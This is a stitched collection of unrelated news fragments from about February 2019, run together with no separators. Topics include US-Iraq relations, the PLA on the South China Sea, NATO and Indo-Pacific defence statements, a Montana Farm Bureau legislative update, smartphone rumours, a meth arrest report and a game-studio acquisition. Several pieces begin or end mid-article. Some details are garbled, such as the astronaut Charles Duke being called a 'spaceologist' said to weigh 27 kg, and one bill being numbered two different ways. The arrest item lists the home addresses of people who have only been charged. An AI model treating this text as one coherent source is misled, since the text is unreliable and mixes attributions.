The US president in December 2018 prompted a wave of fury and condemnations in Iraq when he paid a surprise visit to the country and visited American troops in the western province of Anbar, with no stop in Baghdad.

The US, backed by the UK, invaded Iraq in 2003 claiming that the former regime of Saddam Hussein possessed weapons of mass destruction.

No such weapons, however, were ever found, and the invaders withdrew from Iraq, after nearly nine years of a military campaign that cost tens of thousands of Iraqi lives.

Leading a new coalition of its allies, the US returned to Iraq in 2014, when the Takfiri Daesh terror group unleashed a campaign of destruction in the Arab country.

Widespread reports, however, said the Washington-led operations largely spared the terrorists and led, instead, to civilian deaths and inflicted damage on Iraqi infrastructure.PLA spokesman urges US to stop provocative actions in South China Sea

People's Daily Online

(China Military Online) 14:08, February 12, 2019

GUANGZHOU, Feb. 12 (ChinaMil) -- Senior Colonel Li Huamin, spokesman for the Southern Theater Command of the Chinese People's Liberation Army (PLA), urged last night the US to stop its provocative actions in the South China Sea and stressed that the Chinese military will closely monitor the relevant sea and air situations and take necessary measures to resolutely safeguard China's sovereignty and security.

Li said that two US Navy warships, guided-missile destroyers USS Spruance and USS Preble, entered the waters adjacent to the Ren'ai Shoal and Meiji Jiao of China's Nansha Islands on the morning of February 11 without permission from the Chinese government. In response, the PLA Southern Theater Command organized its sea and air forces and reef-guarding troops to track and monitor the US warships all the way. They conducted verification and identification on the US destroyers, warned and drove them off China' territorial seas.

Li pointed out that the action by the US side has violated China's laws and relevant international laws, infringed upon China's sovereignty, and endangered regional peace and stability. China has indisputable sovereignty over the Nansha Islands and their adjacent waters including Ren'ai Shoal and Meiji Jiao.

Li Huamin urged the US side to stop such provocative actions. He stressed that the troops of the PLA Southern Theater Command will closely monitor the relevant sea and air situations and take necessary measures to resolutely safeguard China's sovereignty and security.NATO Defence Ministers to address pressing security challenges

NATO - North Atlantic Treaty Organisation

12 Feb. 2019

NATO Defence Ministers will meet in Brussels this week at a critical time for transatlantic security. In a press conference (on Tuesday 12 February) ahead of the two-day meeting, NATO's Secretary General Jens Stoltenberg announced important discussions on the Intermediate-Range Nuclear Forces (INF) Treaty, NATO's defence and deterrence posture, NATO's missions and operations, and European cooperation on defence.

The meeting will begin (on Wednesday 13 February 2019) by discussing the future of the INF Treaty and Russia's ongoing violation of its provisions. The Secretary General called on Russia to seize the last opportunity to "return to compliance and save the INF Treaty."

Ministers will address maintaining a credible and effective defence and deterrence posture in their second session, including NATO's so-called "Four Thirties" Readiness Initiative to deploy 30 combat ships, 30 land battalions and 30 air squadrons, within 30 days.

Burden sharing and defence spending will also be high on the agenda. On the Allies' pledge on cash, capabilities and contributions, the Secretary General said that "the trend is up." Since 2016, European Allies and Canada have spent $41 billion more on defence and "based on the latest reports, this will rise to $100 billion by next year."

The second day (on Thursday 14 February 2019) will focus on NATO's missions and operations, including Afghanistan, Kosovo, Iraq and maritime operations. NATO will continue to support the Afghan security forces to "create the conditions for a peaceful solution," and to help Iraq "prevent the resurgence of ISIS, or other terrorist groups."

Finally, Ministers will conclude with a discussion on NATO-EU cooperation and efforts to strengthen the European pillar within NATO. The Secretary General repeated his support for European "efforts that complement and do not compete" with NATO.

The Defence Minister of the future Republic of North Macedonia, Radmila Shekerinska, will take "a seat at NATO's table" for the first time as an official invitee in all of the Ministerial discussions.Feb. 12, 2019

News

By Jim Garamone

Defense.gov

Indo-Pacific Command Worried About China's Path

WASHINGTON -- The commander of U.S. Indo-Pacific Command told Congress today that he is encouraged about progress with Asia's near-term threat  North Korea  but is worried about the path China is on.

Navy Adm. Philip Davidson told the Senate Armed Services Committee that the Indo-Pacific region is largely peaceful, but that is because like-minded nations are willing to work together.

Indo-Pacific Stability Good for the World

The command is the U.S. military's largest combatant command  concerned with more than 50 percent of the globe. The stability the command has created in the region has been an enormous benefit to the world, with billions lifted out of poverty.

A free and open Indo-Pacific is good for the region, the United States and the world, Davidson said. "Today the concept of a free and open Indo-Pacific resonates with our allies and partners across the region and includes economic, political and security dimensions," he said. "And it demonstrates our commitment to a safe, secure and prosperous region that benefits all nations, large and small."

The international rules-based environment that has grown up since the end of World War II is in danger. China  which has benefited most from the free and stable region  is challenging the status quo.

China Seeks New Order

"China represents our greatest long-term strategic threat to a free and open Indo-Pacific and to the United States," Davidson said. "Those who believe this is reflective of an intensifying competition between an established power in the United States and a rising power in China are not seeing the whole picture."

China represents a "fundamental divergence in values" that leads to two incompatible visions of the future, the admiral said. "Through fear and coercion, Beijing is working to expand its form of ideology in order to bend, break and replace the existing rules-based international order," he said. "In its place, Beijing seeks to create a new order, one with Chinese characteristics led by China, an outcome that displaces the stability and peace of the Indo-Pacific that has endured for over 70 years."

Russia also concerns Davidson and he said the nation is always seeking to be a spoiler in the Indo-Pacific. "Moscow regularly plays the role of spoiler seeking to undermine U.S. interest and impose additional cost on the United States and our allies whenever and wherever possible," he said.

Optimism on Korean Peninsula

Davidson is guardedly optimistic about North Korea. The admiral said the country remains his most immediate concern, but that he is "optimistic about the upcoming U.S.-North Korea Summit later this month as we work toward identifying a path to final fully verifiable denuclearization."

The command's combat readiness and combined lethality are the best deterrence against any threat from North Korea, he said. Davidson told the senators that he will emphasize military readiness in the region while simultaneously supporting the State Department-led pressure campaign.

The U.S.-South Korean alliance has become the linchpin of peace and security in Northeast Asia and for the long term in the Indo-Pacific region. It "demonstrates what great democracies can accomplish when we work together," he said.

The admiral said that the Indo-Pacific remains the most disaster-prone region in the world. The region is also called the Ring of Fire, with volcanoes and earthquakes being the result of various plates grinding into each other. "The UN estimates economic losses in the region due to disasters could exceed $160 billion annually by 2030, and many countries across the region lack sufficient capability and the capacity to manage natural and man-made disasters," Davidson said.

Peace Through Deterrence

The command's ability to prevail in armed conflict is the foundation of combat-credible deterrence, the admiral said. "By fielding and maintaining a joint force ready to fight and win we reduce the likelihood that any adversary will resort to military aggression to challenge or undermine the rules-based international order," he said. "This deterrence is absolutely necessary to prevent conflict but deterrence alone cannot ensure a free and open Indo-Pacific."

Adversaries pursue their objectives in the grey area between peace and war. China and Russia use fear and coercive actions across all instruments of national power to revise the rules-based international order without resorting to armed conflict, Davidson said.

"Alongside like-minded allies and partners, U.S. Indo-Pacom and the whole of the U.S. government we must compete in the gray zone between peace and war to win before fighting," he said. "These deliberate actions will ensure a free and open Indo-Pacific against those maligned actors who seek to accomplish their political objectives short of armed conflict."Feb. 12, 2019

News Release

Press Operations

Release No. NR-024-19

Readout of Acting Secretary of Defense Patrick M. Shanahan's Meeting with Afghanistan President Ashraf Ghani

Pentagon Spokesperson Cmdr. Sean Robertson provided the following readout:

Acting Secretary of Defense Patrick M. Shanahan met with Afghanistan President Ashraf Ghani today at the Presidential Palace to reaffirm our commitment to Afghanistan through implementation of President Trump's South Asia strategy.

The leaders discussed a broad range of defense issues, including the importance of the U.S.-Afghanistan security relationship and of achieving a political settlement to the war that ensures Afghanistan is never again used as a safe haven from which terrorists can plan and launch terrorist attacks against the United States, our interests, and our allies.

Secretary Shanahan praised the sacrifices made by Afghan and Coalition troops, and reaffirmed our continued support to Afghan forces as they lead the fight to defend their country.

https://dod.defense.gov/News/News-Releases/News-Release-View/Article/1754716/Feb. 12, 2019

News Release

Press Operations

Release No. NR-025-19

Readout of Acting Secretary of Defense Patrick M. Shanahan's Meeting with Prime Minister Adil Abdul-Mahdi

Pentagon Spokesman Cmdr. Sean Robertson provided the following readout:

Acting Secretary of Defense Patrick M. Shanahan met with Iraqi Prime Minister Adil Abdul-Mahdi today at the prime minister's office to recognize the United States' and Iraq's growing bilateral security relationship. The partnership is focused on the mission of defeating ISIS, an effort supported by a global coalition of 74 nations.

The leaders discussed a broad range of defense issues, including the need to further develop capabilities of Iraqi security forces. Secretary Shanahan reaffirmed the U.S. commitment to an independent, sovereign Iraq that is capable of defending itself.

https://dod.defense.gov/News/News-Releases/News-Release-View/Article/1755069/New Year, New HHBN Unit

By Pvt. Kaden Pitt February 12, 2019

CAMP HUMPHREYS, Republic of Korea -- After a year of planning, the Human Resources Co., Headquarters and Headquarters Batt., 2nd Infantry Division, opened its doors in early November 2018 as a pilot program unit, one of three in the entire U.S. Army, designed to test a different type of HR unit.

The HR Co. is the newest innovation for U.S. Army HR, but may be older than most may think.

"This new highly mobile, deployable training unit would actually be more aptly described as a return-to-form for Army HR," said U.S. Army Maj. Lawrence Torres, the HR Co. company commander and New York City native. "Prior to 2006, the widespread use of a dedicated HR Co. was the norm. As time progressed however, the modern notion of the HR unit came about, pushing this form of HR Co. into relative obscurity. The downside was that this shift came with a lack of manpower in garrison."

This new HR Co. operates in an unexpected way by handling multiple duties that aren't normally associated with a typical administration section.

"We don't do S-1 work," said U.S. Army 1st Sgt. William Branch, the Human Resources Co. first sergeant and a Macon, Georgia, native. "We have teams doing personnel accountability and casualty liaison training and we do postal work. HR Co. is meant to deploy and doesn't have a peacetime function other than training."

That training gives HR Co. Soldiers the ability to perform casualty liaison, personnel accountability and non-combatant evacuation operations in a wartime environment.

One of the important tasks the HR Co. is designed to do is split apart and fill slots around the Korean Peninsula when necessary.

"You get to support other missions throughout the peninsula," said U.S. Army Spc. Jaeheung Ho, HR Co. communications section leader and a Guam native. "One of the biggest advantages is that in peacetime, instead of the battalion getting swamped, we can do some of that work, like reception."

The task of building this company from the ground up has come with its own unique challenges.

"Whether it's getting personnel, equipment or vehicles, our goal is to build this company piece by piece," Branch said. "As we progress, we are able to face those challenges head on."

The HR Co. is still being built and the Soldiers and the command will continue to work over the coming years in order to shape the unit.

"It's not an easy task by any means to do this," Torres said. "In the end, I want to make sure we do right by the Soldiers because they deserve the best. We are going to do different with less, not more with less, just different."Saber Strike 18: Unopposed Wet Gap Crossing

By 2nd Lt. Clay Harmon February 12, 2019

While U.S. Army doctrine covers a deliberate, opposed gap crossing in detail, there is significantly less written regarding an unopposed gap crossing done in an expedient manner. As part of Saber Strike 18, the 2d Cavalry Regiment completed an unopposed wet gap crossing at Chemno, Poland, June 2, 2018. While this unopposed wet gap crossing does not qualify in U.S. Army doctrine as a hasty breach - as it did not solely use organic assets - it shares many similar attributes, such as speed and an accelerated planning timeline.

The use of adjacent NATO forces in the form of German and British bridging assets from the 130th Deutsch Engineer Battalion was critical to the success of the operation. With the bridging assets supplied by NATO allies and 3rd Squadron, 2CR performing the assault through the breach, the Regimental Engineer Squadron, 2CR was critical in providing synchronization to coordinate the gap crossing.

The RES controlled the call forward area and engineer release point for the gap crossing and served as the crossing site commander. Argonaut Troop, RES played a key role in ensuring a smooth flow throughout the area of operations. As serials arrived, Soldiers from Argonaut Troop escorted them to the CFA.

While in the CFA, these Soldiers staged and trained the serials on how to board the ferries that would move them across the Vistula River. At the river, control of the operation was handed to the 130th DEB for the serials to be ferried across.

"The combined German [and British] company is incredibly proficient and professional in their approach to crossing operations," said Maj. Andrew Glenn, operations officer, RES, 2CR. "They are obviously well-rehearsed and synchronized internally. There were some friction points, but nothing we were unable to work through."

The units were able to successfully work together through challenges as they arose in an efficient manner.

The headquarters section from Argonaut Troop was responsible for tracking all movement within the area of operations and ensuring that vehicle traffic did not back up and delay the crossing.

"In the beginning, it was pretty hectic until everyone got an understanding of the flow of the operation," said Capt. Kimberly Shine, Commander, Argonaut Troop, Regimental Engineer Squadron. "After a few serials, however, we really started to get into the swing of it. It was exciting watching each section run the area they were responsible for and contribute to the operation as a whole."

While there were many moving parts to the wet gap crossing, the RES, 2CR was able to successfully coordinate and control the operation to ensure an overall success for the mission.In the conservative mind, socialism means getting something for doing nothing. That pretty much describes the $21 billion saved by the nation's largest banks last year thanks to Mr. Trump's tax cuts, some of which went into massive bonuses for bank executives. On the other hand, more than 4,000 lower-level bank employees got a big dose of harsh capitalism. They lost their jobs.We Don't Like Them Either

All good things must come to an end. We had a good run boasting about the slower pace of the legislative session. Apparently, all it takes to speed things up is a nasty cold snap and suddenly we all decide its a much better idea to stay indoors and discuss bills. This week we testified on many bills covering some very diverse topics.

We talked early in the week about funding mechanisms for the Aquatic Invasive Species prevention program and legislation clarifying fossil ownership. The week rounded out with discussions on hemp production in Montana, labeling fake meat products and implementing a mandatory 24-hour trap check requirement on all trappers in Montana.

HB 32, Revise laws related to aquatic invasive species programs:

Sponsored by Rep. Willis Curdy (D) HD 98, Missoula.

During the 2017 Legislative Session, lawmakers were called upon to quickly establish and implement an Aquatic Invasive Species (AIS) program after water sampling found evidence of aquatic mussel veligers (babies) in Tiber and Canyon Ferry Reservoirs. Given the time constraints and necessity for quickly implementing a prevention program, investor-owned hydroelectric facilities in Montana picked up the lions share of the funding during the first biennium. HB 32 was written by members of the Environmental Quality Council during the interim and aims to revisit the funding structure and establish a mechanism that is more long term.

The program has a $6 million dollar budget to run inspection stations across the state. There are several opinions on what the funding mechanism should look like; many believe irrigated agriculture needs to be a direct payer in the prevention process. Irrigators arent opposed to being a part of the funding solution; however, there hasnt been an effective method established for assessing and collecting any money from irrigators. This concept was researched during the 2017 session and lawmakers and agencies both concluded it would be more costly to identify irrigators than it would actually benefit the AIS program.

This proposal seeks a mix of funding from the state General Fund and a prevention pass on anglers and boaters. While General Fund dollars fluctuate and arent always a guarantee; it is the most realistic way to capture dollars from all impacted industries. MFBF supported this bill because AIS pose a serious threat to all forms of economy in Montana, not just agriculture.

SB 176, Allow for establishment of certified hemp plan and program & SB 177, Revise Montana hemp laws:

Sponsored by Sen. Tom Jacobson (D) SD-11, Great Falls.

Hemp, often mistaken for marijuana, has been used worldwide for its fiber, hurd, and seeds. While the two Cannabis plants closely resemble one another, hemp is high in fiber and low in active tetrahydrocannabinol (THC), the psychoactive ingredient in marijuana. This distinction, however, wasnt made in federal law until a few months ago when hemp was removed from the list of controlled substances.

Prior to the passage of the 2018 Farm Bill, hemp could only be grown through highly regulated programs. Now that the crop is federally recognized as an agricultural commodity, some of the Departments oversight measures, like fingerprinting growers, are no longer needed. SB 177 would modify state law to reflect hemps new status by removing unnecessary requirements. SB 176 would establish a certified plan and program to regulate and market hemp in Montana. The bill also allows for growers to form a commodity advisory committee to assist in research, promotion, and market development.

The Montana Farm Bureau supported both of these bills. Montana led the nation in hemp production under the Department of Agricultures pilot program last year. Its important that Montana remains competitive amidst the new provisions of the 2018 Farm Bill. We see passage of SB 176 and 177 as an important first step toward that endeavor.

HB 327, Real Meat Act:

Sponsored by Rep. Alan Redfield (R) HD 59, Livingston.

Fake meat, frankenmeat, petri dish meat, lab grown protein, cell-cultured edible productno matter what you call this product produced by in vitro cultivation of animal cells, you will not be able to call it meat in Montana after this bill passes. The bill makes a few small but very important changes to current law.

First it defines cell-cultured edible product as the concept of meat, including but not limited to muscle cells, fat cells, connective tissue, blood, and other components produced via cell culture, rather than from a whole slaughtered animal. Then it clarifies the definition of meat by stating that the term does not include cell-cultured edible product. It also ensures that hamburger or ground beef only includes beef that meets the clarified definition of meat. Furthermore, it states in both the Health and Safety Title and the Livestock Title that labeling cell-cultured edible protein as meat is misbranding and may not be done.

Passage of HB 132 is important to Montanas farmers and ranchers because we are proud of the high quality, real meat products we raise. We believe consumers deserve accurate and complete information about the food they consume and this bill will provide just that. Cell-cultured edible products are not yet commercially available, but when they enter the marketplace, Montana needs to be ready to identify them properly. We dont want our consumers deceived into purchasing a product that may not be what they expect in taste, texture, nutrition or quality.

Chelcie Cargill is a lobbyist for the Montana Farm Bureau Federation. Shes a rancher and an expert in policy development and implementation, and serves as MFBFs program coordinator for its ACE Leadership and Advocacy training program. Cargill can be contacted at 406-930-2299 or [email protected]

Nicole Rolf is the Director of National Affairs and a rancher from Miles City. She works closely and expertly with our Congressional delegation on national issues affecting Montana agriculture. She also works as the Eastern Montana Regional Manager. Rolf can be contacted at 406-951-2429 or [email protected]

Liv Stavick is the Director of State Affairs for Montana Farm Bureau Federation. She also coordinates the MFBF Policy Development Committee, the Resource Management, Environment and Technology Committee and is the Treasurer for the Farm Bureau PAC. Stavick can be contacted at 406-581-3996 or [email protected]

The Montana Farm Bureau Federation is a non-partisan, non-profit, grassroots organization that represents 21,000 member families in Montana.We understand that a database wont tell us everything about a judges performance and tendencies. Many factors can go into a sentencing decision that wont be captured by the numbers alone. But in the aggregate, the data will at least help us to discern patterns and trends and will provide some basis for comparison between judges overseeing similar types of cases. Given that voters face the task of deciding whether to retain judges every 10 years for district courts and every 15 for circuit courts, we ought to have some basis for discerning between them. Ultimately, we think the answer is not just better record keeping but the establishment of a robust system of judicial evaluations like those that exist in other states.Yes! I believe extraterrestrials are visiting earth regularly.

No! I believe extraterrestrial beings exist but they are not visiting earth.

No! I believe in life on other planets, but it is microbial, not humanoid.

No! I believe earth is the only home to any form of life in the universe.

Vote

View ResultsNASA to reach out Opportunity rover before shutting down Mars mission News oi-Vishal Kawadkar Opportunity lost its battery after a sand storm on Mars.

NASA will be making one last attempt to reach out to its Opportunity Rover on Mars. The space agency also said it would hold a briefing on Wednesday, during which it might declare the end on the mission.

Opportunity landed on the Red Planet in 2004 and traveled around 45 kilometers there, registered its name in the history books for lasting well beyond its expected 90-day mission. But due to a dust storm last year the sunlight was blocked causing the solar-powered batteries discharged on the Opportunity.

Despite a lot of efforts from the NASA engineers to get a response via radio signals, its last communication was on June 10. 2018. Although the storm cleared eventually, the 15-year old rover is yet to re-communicate with Earth ever since.

"I haven't given up yet. This could be the end. Under the assumption that this is the end, it feels good. I mean that" said Professor Steven Squyres, mission's principal investigator told The New York Times. If the storm has damaged the rover drastically, "that's an honorable death", Squyres added.

Mars is heading towards the southern winter, which will cause intense temperature drops that might cause more damage to the rover's computer systems in an irreparable way.

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Facebook, To stay updated with latest technology news & gadget reviews, follow GizBot on Twitter YouTube and also subscribe to our notification. Allow NotificationsGoogle hiring Indian engineers to develop its own microchips: Reports News oi-Karan Sharma Google started hiring engineers from India to develop its own microchips. All you need to know about Google hiring.

Google is not just a software company because the tech giant has proved its capabilities in the hardware lineup also. The company has come up with products like Google Pixel smartphones, Assistant-powered Google Home, Chromecast, and Pixelbooks and more. The company has also taken the responsibility of producing Tensor Processing Units (TPUs) Titan or Titan M security chips, and also Pixel Visual Core chips.

The company is now looking forward to chip-making endeavours. On LinkedIn, the company has posted jobs for hiring a minimum of 20 employees in India for its "gChips" team and also expected to expand the team in future. The new site is in Bengaluru and the company is hiring for more post including two executive positions.

Bengaluru is known as silicon valley of India and been a centre for semiconductor development for more than 20 years. Google is preferring the location to easily find the veterans for the endeavour. The company is searching for candidates with years of experience of working with chipmakers like Intel, Qualcomm, Broadcom and NVIDIA.

The tech giant has lister around 13 for various roles through its own hiring platform Google Careers. It has been reported that the company will expand the team to 80 by the end of this year. Right now, the team will "fine-tune and test" prototypes before they are sent to manufacturers.

Also read: Pakistan Flag is shown as the "Best Toilet Paper In The World" on Google

The current chipset-related openings in Google India include two positions of leadership:

SoC Physical Design and Methodology Lead

SoC RTL Lead

Two engineering positions including:

SoC/ASIC Design for Testability Engineer

Floorplan Engineer (ASIC/SoC)

This development comes in when Apple is planning to expand the manufacturing and assembling expensive units such as iPhone X in India. The company is already assembling iPhone SE and iPhone 6s, and it is planning to expand the manufacturing centres in the southern parts of the country.

Source

Best Mobiles in IndiaGoing to Mars is next big challenge, says former astronaut Charles Duke News oi-Vishal Kawadkar Charles Duke shared his experiences in space with students of Gyan Vihar University, Jaipur.

Charles Duke, the youngest spaceologist to walk on the Moon at the age of 36, believes that landing humans on Mars in the next big step, and any Indian can do this. Duke is now 83 and recently visited Gyan Vihar University in Jaipur to address the students and share his experiences in space.

The American astronaut said that he along with his two companions landed on the Moon in 1972 via Apollo 16, the 10th manned mission in the US Apollo space programme. It was also the fifth and last to land on the moon, and the first to set foot in the lunar highlands. Duke and his team stayed on the moon for about 20 hours and 15 minutes.

"I completed my education from MIT and then started working in NASA. I got involved with the Apollo programme from the very beginning. During Apollo 11, I was given the responsibility of the control room and was later selected for Apollo 16," he said.

Duke also shared the emotional moment when he first walked on the face of the Moon. He traveled in rocket dubbed "Saturn," and was the youngest scientist to go to Earth's natural satellite. "Whenever I recall those thrilling moments, I become emotional," he said.

Duke shared that the difference of gravity wasn't easy for him and what troubles he faced while on the Moon. Duke only weighed 27 kg and traveled around 5 km at 17 kmph. He also left a picture of his family on the moon for remembrance.

"Maintaining body temperature on the moon was a big challenge and I had to make many efforts to save myself," he said.

Best Mobiles in IndiaXiaomi Redmi 7 with 10W charger clears 3C certification in China News oi-Sandeep Sarkar The upcoming Redmi 7 smartphone will not support fast charging and will ship with a basic 10W charger with the box.

Xiaomi launched its latest affordable Redmi smartphone the Redmi Note 7 with a 48MP camera lens last month in its hometown China. The smartphone has been grabbing the headline for quite a while and the users around the globe are waiting eagerly for its launch. Well, it appears that the Redmi Note 7 is not the only affordable smartphone on which the company is working at the moment. The Chinese tech giant is said to be working on the successor of its affordable Redmi 6 series which is the Redmi 7 lineup. The upcoming Redmi 7 lineup is said to comprise of Redmi 7, Redmi 7A, Redmi 7 Pro. Now, the Redmi 7 smartphone has recently cleared the 3C certification in China. The 3C website listing reveals some information of the upcoming Redmi 7 smartphone.

As per the 3c certification listing, the upcoming Redmi 7 smartphone will not support fast charging and will ship with a basic 10W charger with the box. The primary reason behind this could be that the device will be a budget offering by the company and hence might skip on the Quick charge support. Though, we would have appreciated Quick Charge support for faster charging.

The Chinese tech giant might introduce the device with three different RAM and storage option to choose from. The three variants that have been spotted comes with a model number M1810F6LE, M1810F6LC, and M1810F6LT and was spotted by DroidShout.

The smartphone has also received a certification from IMDA (Info-Communications Media Development Authority) and NCC (National Communications Commission) which are the certification agencies based in Singapore and Taiwan respectively. This indicates that Xiaomi might soon launch the Redmi 7 smartphone in the Singapore and Taiwanese markets soon. Xiaomi has currently not revealed any specific information on the same, however, we will keep you posted with the further developments.

Source

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Facebook, To stay updated with latest technology news & gadget reviews, follow GizBot on Twitter YouTube and also subscribe to our notification. Allow NotificationsXiaomi Mi 9 smartphone launching on February 20 in China News oi-Sandeep Sarkar Xiaomi took it to Weibo to confirm the launch of Mi 9 on February 20, 2019, and has shared a poster for the same.

Xiaomi is well known for its budget smartphones and is also called as the budget king in the market. And it's not the affordable smartphones in which the company has expertise in, the company has also some powerful premium and mid-range smartphones to offer to the masses. One of the popular premium smartphone series by Xiaomi is the Mi 8 series which was announced back in May 2018 and it was being speculated that the company will launch its successor this year. Now, the Chinese tech giant has itself confirmed that it will be launching its next premium smartphone, the Xiaomi Mi 9 on February 20, 2019.

The upcoming Xiaomi Mi 9 has also received certification from Chinese website 3C and TENNA which indicated at an imminent launch. Now, the company took it to Weibo to confirm the launch of Mi 9 on February 20, 2019, and has shared a poster for the same. The poster shows the "Battle Angel" codename of the smartphone suggesting at a powerful machine. The Mi 9 is said to be the best-looking Mi smartphone from the company suggests the poster. It would be interesting to see how premium the new smartphone from Xiaomi looks and feels in hand.

The leaks surrounding the Mi 9 smartphone suggests that the smartphone will come with a big sized display panel which will measure 6.4-inches in size. In terms of security feature, the smartphone might make use of an in-display fingerprint scanner technology that will offer a wider authentication area of 25 x 50.2mm. This will make unlocking the smartphone quite easier.

The smartphone will be powered by Qualcomm's latest flagship Snapdragon 855 chipset which might be paired with 6GB of RAM to take care of the multitasking capabilities. The device will ship with Android 9 Pie based MIUI 10 UI OS out-of-the-box. The smartphone is further tipped to be the first Xiaomi smartphone that will make use of triple-lens primary camera setup. The lenses packed in the rear camera will include a 48MP primary lens, a 12MP lens, and a 3D ToF depth sensor lens. Notably, Samsung is also hosting an Unpacked event on February 20 where we will see the next-gen Samsung premium smartphones. It would be interesting to see which premium offering from the tech giants will grab more attention.

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Facebook, To stay updated with latest technology news & gadget reviews, follow GizBot on Twitter YouTube and also subscribe to our notification. Allow NotificationsMoto G7 Power coming soon to India for approximately Rs 14,500: Report News oi-Sandeep Sarkar The upcoming Moto G7 Power smartphone will be selling in a single color option, i.e, ceramic black in the country.

Motorola, the Lenovo owned brand introduced its latest mid-range smartphone lineup, the Moto G7 on February 7, 2019, in an event held in Brazil. The latest smartphone series from Motorola comprises of the Moto G7, Moto G7 Plus, Moto G7 Power and Moto G7 Play. Currently, it is unknown as to when Motorola will bring all these smartphones in the Indian market, however, some latest reports do share some information on the launch date of one of the smartphones in the Moto G7 series.

A recent tweet by Mahesh Telecom who is a Mumbai-based retailer suggests that we might soon see the Moto G7 Power in the Indian market. There is no word about the launch of the remaining upcoming Moto G7 variant; however, the retailer has shared some information on the pricing as well as the launch date of the Moto G7 Power in India.

Going by the information shared by Mahesh Telecom, the upcoming Moto G7 Power smartphone will have an MRP of Rs 18,999, but, users will be able to purchase the smartphone for Rs 14,500 from the offline market. The upcoming smartphone will be selling in a single color option, i.e, ceramic black. The key highlight of the Moto G7 Power smartphone is its mammoth 5,000mAh battery unit which should help the device to deliver longer battery backups.

To recall, the Moto G7 Power packs a 6.2-inch HD+ display panel that offers a screen resolution of 720 x 1520 pixels. The display will come with a regular notch on top which will house the selfie camera and the sensors. In terms of camera, the smartphone will use a single lens primary camera setup with a 12MP sensor. The front of the device accommodates an 8MP camera to capture selfies and video calls.

In terms of the remaining internals, the smartphone uses a Snapdragon 632 chipset that clocks at 1.8GHz. The processor will be further clubbed with 3GB of RAM and 32GB of internal storage. Like mentioned earlier, the 5,000mAh battery unit is the highlight of the device which as per the company can give a back up of 2 days. Motorola is yet to confirm the availability of its latest G7 series in India and we will keep you updated with the same.

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Facebook, To stay updated with latest technology news & gadget reviews, follow GizBot on Twitter YouTube and also subscribe to our notification. Allow NotificationsApple to launch new subscription-based service next month News oi-Vishal Kawadkar Apple has a news service coming our way.

Apple will be launching a subscription news service soon. The Wall Street Journal has reported that publishers like the New York Times and Washington Post are objecting to terms that that would allow Apple to take home "about half" of the revenue from the service. The rest will be divided among the publishers based on the time duration the readers spend reading their articles.

Apple also wants "at least some" outlets to commit to supplying news for at least one year. Publishers, however, are on a split in this, some want to supply articles for a longer period while others want a chance to back out sooner just in case.

The price for the service is yet to be set, but if the reports are to believed, it would cost something around the same $10 per month that can be paid via Apple Music. Whatever plans Apple might have, it has very less time to sort out the matter.

BuzzFeed sources claim that Apple is planning a special event for March 5th that would see the launch of a subscription-based service. This means that Apple has less than two months to clear out the matter.

Besides, Apple also has plans to extend its TouchID and FaceID technologies to automobiles. The latest patent application from the company hits at replacing the car keys with its biometric authentication systems.

The patent shows a "system and method for vehicle authorization" that lets you lock or unlock cars using technology like TouchID or FaceID. The process can be done via an iPhone. The system would detect the user's device as they approach the vehicle.

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Facebook, To stay updated with latest technology news & gadget reviews, follow GizBot on Twitter YouTube and also subscribe to our notification. Allow NotificationsBut take a moment to appreciate how thoroughly the legislative branch  and most especially GOP leadership  boxed Mr. Trump in. Lawmakers showed no stomach for a second shutdown. They recognized that Speaker Pelosi, in particular, had little incentive to capitulate and that Democrats won their House majority on the strength of their opposition to Mr. Trumps extremist immigration stand. They signed onto a deal that results in less border security funding than the president could have had last year when the Senate approved funds for that purpose. And what did they do when they saw the arrangement would result in no more than 55 miles of new barrier? Leadership spoke out in one voice to announce what a great victory their team had achieved.Gillette, WY (82718)

Today

Partial cloudiness early, with scattered showers and thunderstorms during the afternoon. High 84F. S winds shifting to E at 10 to 15 mph. Chance of rain 40%..

Tonight

Scattered thunderstorms this evening followed by occasional showers overnight. Low 56F. S winds shifting to WNW at 10 to 20 mph. Chance of rain 40%.A joint session of the House of Delegates and state Senate is scheduled for Feb. 19 to elect the treasurer. Because the House has so many more votes  141 to the Senates 47  the Houses choice tends to prevail.Another meth case

Two men and one woman from Lake Geneva were also recently charged in another meth case.

Joseph D. Gibson, 34, of N1528 Hardwood Drive, was charged with party to manufacturing meth and possessing waste from manufacturing. Courtney A. Baker, 37, of 1086 Wells St., No. 1, faces the same charges as Gibson and was also charged with possession of drug paraphernalia. Tyler J. Jenkins, 42, has the same address and charges as Baker.

Lake Geneva police say on Feb. 3, they responded to the Wells Street address and found meth-making materials and Gibson, who was in a closet, according to a criminal complaint. A database also showed the three have bought pseudoephedrine, a key ingredient in making meth, several times in the last few months."I think it makes more sense because I personally don't think that we can just say that a change in schedule or whatever it is, or not having a gap in core classes, would fix the problem," board member Shelley Niemann said. "I mean, this is a better way of looking at it, in my opinion ...."

As far as the timing piece, Goff asked the board to extend the timeline on a final recommendation to April.

The conversation steered for a time into the topic of graduation rates. The most recent data released by the Oregon Department of Education showed Philomath with a graduation rate of just under 87 percent for 2016-17. That percentage is slightly above the county average and well above state average.

"As I've said since I was hired, we have the best problem in Philomath, it's a great problem. We have a super high graduation rate, and so our problem really is out of a hundred kids, 10 to 12 students who we are not succeeding with yet in getting them over the graduation finish line," Goff said. "That's a solvable problem and that's what they're looking at is with those kids, what do we need to do differently to serve those students?"

PHS Principal Mike Bussard echoed those statements.THQ Nordic has acquired Kingdom Come Deliverance developer Warhorse Studios, the publisher has announced today.

All intellectual properties, included Kingdom Come, are included in the deal, which amounts in a total of 42.8 million euro.

Warhorse Studios will keep work independently under the label Koch Media, and founders Daniel Vavra (Kingdom Come creative director) and Martin Klima will remain in their current roles.

Warhorse Studios is one of the leading independent studios in Europe and I am proud to welcome them to the THQ Nordic group, Lars Wingefors, CEO of THQ Nordic AB, said in a press release.

Kingdom Come: Deliverance, which has now sold over two million copies, has been a great success since the release exactly one year ago. I look forward to continue working with the founders who will continue managing the studio under strong creative freedom for many years to come.

Becoming part of THQ Nordic family is an important milestone for our studio. We began as a small start-up with a handful of employees who were enthusiastic enough to join this challenging project, Martin Fryvalsky, CEO of Warhorse Studios, said.

The skills of our team members, trust and support of our main investor and passion of our fans, who supported development of Kingdom Come: Deliverance through a Kickstarter campaign, helped us grow to an international level.

We believe that backing by THQ Nordic will give us an extra push in our mission to bring exciting games to our customers and extend the frontiers of the gaming industry.

Its great to see the Kingdom Come developer been assured it will be able to keep doing games, which is something you never know when you reach Kickstarter.

